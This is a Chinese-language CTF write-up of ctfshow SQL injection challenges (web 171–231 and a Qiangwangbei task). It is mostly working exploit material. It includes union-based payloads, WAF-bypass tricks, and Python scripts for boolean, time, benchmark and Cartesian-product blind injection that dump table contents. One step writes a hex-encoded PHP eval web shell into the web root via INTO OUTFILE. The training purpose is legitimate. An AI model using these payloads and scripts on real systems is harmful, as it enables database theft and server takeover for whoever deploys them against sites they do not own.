最全sql注入

web 171

SQL注入入门局。

直接给出了SQL语句

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

这里直接引号闭合然后联合查询。

payload:

-1' union select 1,database(),3 --+
#ctfshow_web

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'ctfshow_web'--+
#ctfshow_user

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'ctfshow_user'--+
#id,username,password

-1' union select 1,group_concat(id,username,password),3 from ctfshow_user--+
#ctfshow{1378e24f-46cf-437a-a886-9b97d32a0b31}

web 172

同上

payload:

-1' union select database(),2 --+
#ctfshow_web

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'ctfshow_web'--+
#ctfshow_user,ctfshow_user2

-1' union select group_concat(column_name),2 from information_schema.columns where table_name='ctfshow_user2' --+
#id,username,password

-1' union select group_concat(password),2 from ctfshow_user2--+
#ctfshow{328d51d3-517e-4116-8683-4146f2915f71}

web 173

同上

web 174

//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

这里在回显中过滤了flag0-9,我们无法直接读取flag看大佬们的wp都是对flag编码然后再将数字替换成别的符号查询出来,然后再替换回原来的flag。

这里太菜了,直接进行盲注。

抓包发现,查询成功时,回显中包含\u67e5\u8be2\u6210\u529f

查询失败时,回显中包含\u67e5\u8be2\u5931\u8d25根据这两点不同,进行盲注。

import requests

url="http://01836dcd-a8a1-486d-8bf6-e44961c990fd.challenge.ctf.show/api/v4.php"
#?id=-1&page=1&limit=10

flag=""
for i in range(1,200):
left = 32
right = 128
while left<right:
mid=(left+right)//2
#payload=f"?id=1%27%20and%20ascii(substr(database(),{i},1))%3E{mid}%20--+"
#payload=f"?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_user4' ),{i},1))>{mid} --+"
payload=f"?id=1' and ascii(substr((select group_concat(password) from ctfshow_user4),{i},1))>{mid} --+"
urls=url+payload
res=requests.get(urls)
#print(res.text)
if "admin" in res.text:
left=mid+1
else:
right=mid
if left!=32:
flag+=chr(left)
else:
break
print(flag)

web 175

//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

过滤了所有的可见字符,那么也就是说我们无法得到任何回显,这里考虑时间注入。

import requests
import time

url="http://014adeb4-2949-495d-bf52-fd93219949dd.challenge.ctf.show/api/v5.php"

flag=""

for i in range(1,200):
left=32
right=128
while(left<right):
mid=(left+right)//2
payload=f"?id=1'+and+if(ascii(substr((select group_concat(password) from ctfshow_user5)%2C{i}%2C1))>{mid}%2Csleep(3)%2C0)--+"
urls=url+payload
begin=time.time()
res=requests.get(urls)
end=time.time()
if(end-begin>2.9):
left=mid+1
else:
right=mid
if(left!=32):
flag+=chr(left)
else:
break
print(flag)

web 176

从这里开始是加了waf的,但是没有给出黑名单。

fuzz一下发现过滤了select,这里可以大小写绕过。

payload:

-1' union sElect 1,database(),3 --+
#ctfshow_web

-1' union sElect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
#ctfshow_user

-1' union sElect 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+
#id,username,password

-1' union sElect 1,group_concat(password),3 from ctfshow_user --+
#ctfshow{d7682dce-3f9a-4ce8-893d-6ba216067cef}

web 177

fuzz之后,过滤了空格可以用/**/绕过,同时过滤了--+这里用%23绕过

payload:

-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/%23
#ctfshow_user

-1'/**/union/**/select/**/1,group_concat(password),3/**/from/**/ctfshow_user/**/%23
#ctfshow{b259061f-96a2-4615-8411

flag长度不够。
-1'/**/union/**/select/**/1,right(group_concat(password),50),3/**/from/**/ctfshow_user/**/%23
#ctfshow{b259061f-96a2-4615-8411-acfd1bc0e497}

web 178

过滤了更多的东西,这里空格只能用%0c代替,用%23代替#

payload

-1'%0cunion%0cselect%0c1,group_concat(password),3%0cfrom%0cctfshow_user%0c%23
#ctfshow{0e5be776-181f-4ea0-941d-7fc8842b2fb9}

web 179

同上

web 180

这里%23也被过滤了,但是可以通过'1'='1'绕过

payload

-1'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

#ctfshow{4aee3f2c-b179-4cdf-a6ae-2592021448bb}

web 181

给出了黑名单

function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

这里对空格的过滤不容易绕过。

采用直接查询flag的方式

-1'||username='flag

#ctfshow{7ece1cef-c857-4a57-820a-5576ae284d28}

web 182

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

与上个题目相比较,过滤了flag

这里可以采用like模糊匹配

payload:

-1'||(username)like'%fla%
#ctfshow{3c3f003b-c9a4-4a3a-a30e-5ff8a85ee756}

web 183

这个题稍微有了一点变化

查询语句

$sql = "select count(pass) from ".$_POST['tableName'].";";

waf

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

查询结果

$user_count = 0;

这里考虑盲注,考点是反引号绕过对空格的过滤,以及like或者regexp模糊匹配

import requests
import time
url="http://5b285b83-8642-4556-b1cc-ca435d196f99.challenge.ctf.show/select-waf.php"

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag=""
for i in range(0,34):
for x in flagstr:
data={
"tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
#"tableName":"`ctfshow_user`where`pass`like\'ctfshow{}%\'".format(flag+x)
}
response=requests.post(url,data=data)
#有并发数量限制的题目,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow"+flag)

那些sqlmap的题目就先不做了

web 217 (benchmark)

//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}

这里考虑时间盲注,但是过滤了sleep,这里还可以用benchmark笛卡尔积注入

benchmark是用来重复执行某个语句的函数。

使用方法:benchmark(N,expression),就是让数据库重复执行N次expression,比如重复计算哈希值,达到延时的目的。

import time

import requests

url = "http://8305ab89-65fe-4af7-941d-3edf147d1629.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxccb,ctfshow_info
# payload = "if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},benchmark(8000000,md5(0x31)),1)"
# 列名 id,flagaabc,info,id,ip,cname
# payload = "if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},benchmark(8000000,md5(0x31)),1)"
# flag
payload = "if(ascii(mid((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},benchmark(8000000,md5(0x31)),1)"


def valid_char(index: int, ascii: int) -> bool:
data = {
"ip": payload.format(index, ascii),
"debug": 0
}
try:
_ = requests.post(url, data=data, timeout=3)
except:
return True
return False


result = ""
i = 1

while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
if valid_char(i, p):
start = p
time.sleep(10) # benchmark 跑完大概需要 10s 多,3s 超时后再让它跑 10s,防止阻塞后全部超时影响时间盲注
else:
end = p
if end < start:
end = start
if chr(end) == '!':
break
result += chr(end)
print(f"[*] result: {result}")
i += 1

web 218 (笛卡尔积注入)

//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}

这里benchmark也被过滤了,尝试笛卡尔积注入

笛卡尔积注入,就是数据库多表联合查询时会造成很大的延时,这里一般使用的是。

select count(*) from information_schema.columns A,information_schema.tables B,information_schema.tables C
import time

import requests

url = "http://12cbfc80-ee23-4f3f-9b86-7b68c44c9aaa.challenge.ctf.show/api/"
# 表名 ctfshow_flagxc,ctfshow_info
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaac
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaac from ctfshow_flagxc),{},1))>{}"


def valid_payload(p: str) -> bool:
data = {
"debug": 0,
"ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
f"information_schema.tables C),1) "
}
time_s = time.time()
_ = requests.post(url, data=data)
time_e = time.time()
# 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
return time_e-time_s > 4


index = 1
result = ""

while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(index, everage)):
start = everage
else:
end = everage
if end < start:
end = start
if chr(end) == "!":
break
result += chr(end)
print(f"[*] result: {result}")
index += 1

web 219

//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}

增加过滤了rlike

无影响继续上题的脚本

web 220

最后一个盲注(太慢了真不爱写)

//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

增加过滤了ascii hex concat_ws concat mid substr无法进行二分。

import string
import time

import requests

url = "http://bbdb689b-386c-435c-ae43-e707b9f65a76.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxcac
# payload = "left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{})='{}'"
# 列名 flagaabcc
# payload = "left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{})='{}'"
# flag
payload = "left((select flagaabcc from ctfshow_flagxcac limit 0,1),{})='{}'"


def valid_payload(p: str) -> bool:
data = {
"debug": 0,
"ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
f"information_schema.tables C),1) "
}
time_s = None
time_e = None
while True:
time_s = time.time()
try:
_ = requests.post(url, data=data)
except:
continue
time_e = time.time()
break
# 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
return time_e-time_s > 4


letters = "{}_-" + string.ascii_lowercase + string.digits
index = 1
result = ""

while True:
for letter in letters:
load = payload.format(index, result + letter)
if valid_payload(load):
result += letter
break
print(f"[*] result: {result}")
index += 1

web 222 (group_by注入)

#布尔盲注
"?u=concat(if(substr(({payload}),{i},1)='{j}',username,cot(0)))#"
#时间盲注
#因为sql对于group by是根据一条一条数据遍历后再进行conunt+1因此我们的每一次遍历都会进行一次sleep(0.05)。那么就可以造成时间盲注
"?u=concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 2)), 1)#"
# @Author:yu22x
import requests
import time
url = "http://bb869d73-b718-47f7-95b8-9aef62952a27.challenge.ctf.show/api/index.php"
s='0123456789abcdef-}'
flag='ctfshow{'

for i in range(9,50):
print(i)
for j in s:
'''
u=url+"?u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',username,2)".format(i,j)
u=url+"?u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'),{0},1)='{1}',username,2)".format(i,j)

'''
u=url+"?u=if(substr((select flagaabc from ctfshow_flaga),{0},1)='{1}',username,'a')".format(i,j)
#print(u)
r = requests.get(u)
#print(r.text)
if "passwordAUTO" in r.text:
flag+=j
print(flag)
break

web 223

在上题的基础上过滤数字,我们用true绕过

# @Author:Kradress
import requests
import string

url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"

# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"

def numToStr(str):
parts = []
for s in str:
parts.append(numToStr2(s))
res = ','.join(parts)
return f"concat({res})"

def numToStr2(num):
parts = []
n = ord(num)
for i in range(n):
parts.append("true")
res = "+".join(parts)
return f"char({res})"

for i in range(1,46):
print(i)
for j in dict:
params={
'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"
}
r = requests.get(url, params=params)
# print(r.url)
if("ctfshow" in r.text):
result +=j
print(result)
break

web 225

开始堆叠注入

if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}

过滤了这些内容。

首先查看数据库和表

http://173ca73d-a7ee-4695-9133-0eb064ec8a07.challenge.ctf.show/api/?username=1%27;show%20databases;
#{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"Database":"ctfshow_web"},{"Database":"information_schema"},{"Database":"mysql"},{"Database":"performance_schema"},{"Database":"test"}]}

http://173ca73d-a7ee-4695-9133-0eb064ec8a07.challenge.ctf.show/api/?username=1%27;show%20tables;
#{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"Tables_in_ctfshow_web":"ctfshow_flagasa"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}

接下来我们借助handler函数查看flag

mysql除可使用select查询表中的数据,也可使用nandler语句,这条语句使我们能够一行一行的浏览一个表中的数据,可以在不知道字段名的情况下读取字段内容。

http://173ca73d-a7ee-4695-9133-0eb064ec8a07.challenge.ctf.show/api/?username=1%27;handler%20`ctfshow_flagasa`%20open%20as%20a;handler%20a%20read%20first;

#ctfshow{c0b8a57c-acce-4ddb-b0c5-02964d286668}

[强网杯] 随便注入

趁热复现一下这个超级经典的题目。

读取表名

1';show tables#

array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

handler读取flag

1';handler `1919810931114514` open as a;handler a read first#

array(1) {
[0]=>
string(44) "NSSCTF{c70c11ef-dd86-47e0-8ce3-044b5587dfdb}"
}

web 226

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}

相比上题,这里过滤了show,这里我们只能采取预编译的方式进行堆叠

prepare用于预备一个语句,并赋予名称,以后可以引用该语句execute执行语句

Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt;
#拆分开来如下:
Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');
EXECUTE stmt;
deallocate prepare stmt; #可以不加
#concat(char(115,101,108,101,99,116)也可以代替select

但是这里我们注意到过滤了(,我们这里可以用十六进制绕过。

#获取表名
?username=1';prepare h from 0x73686f77207461626c6573;execute h;
#获取数据
?username=1';prepare h from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute h;

web 227

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
die(json_encode($ret));
}

和上题思路一样但是找不到flag,参考大佬博客,可以直接写马

##1.php  <?php eval($_POST[1]);?>
?username=1';prepare h from 0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f312e70687027;execute h;

web 228

?username=1';prepare h from 0x73686f77207461626c6573;execute h;

?username=1';prepare h from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;execute h;

web 229

同上

web 230

同上

web 231

开始update注入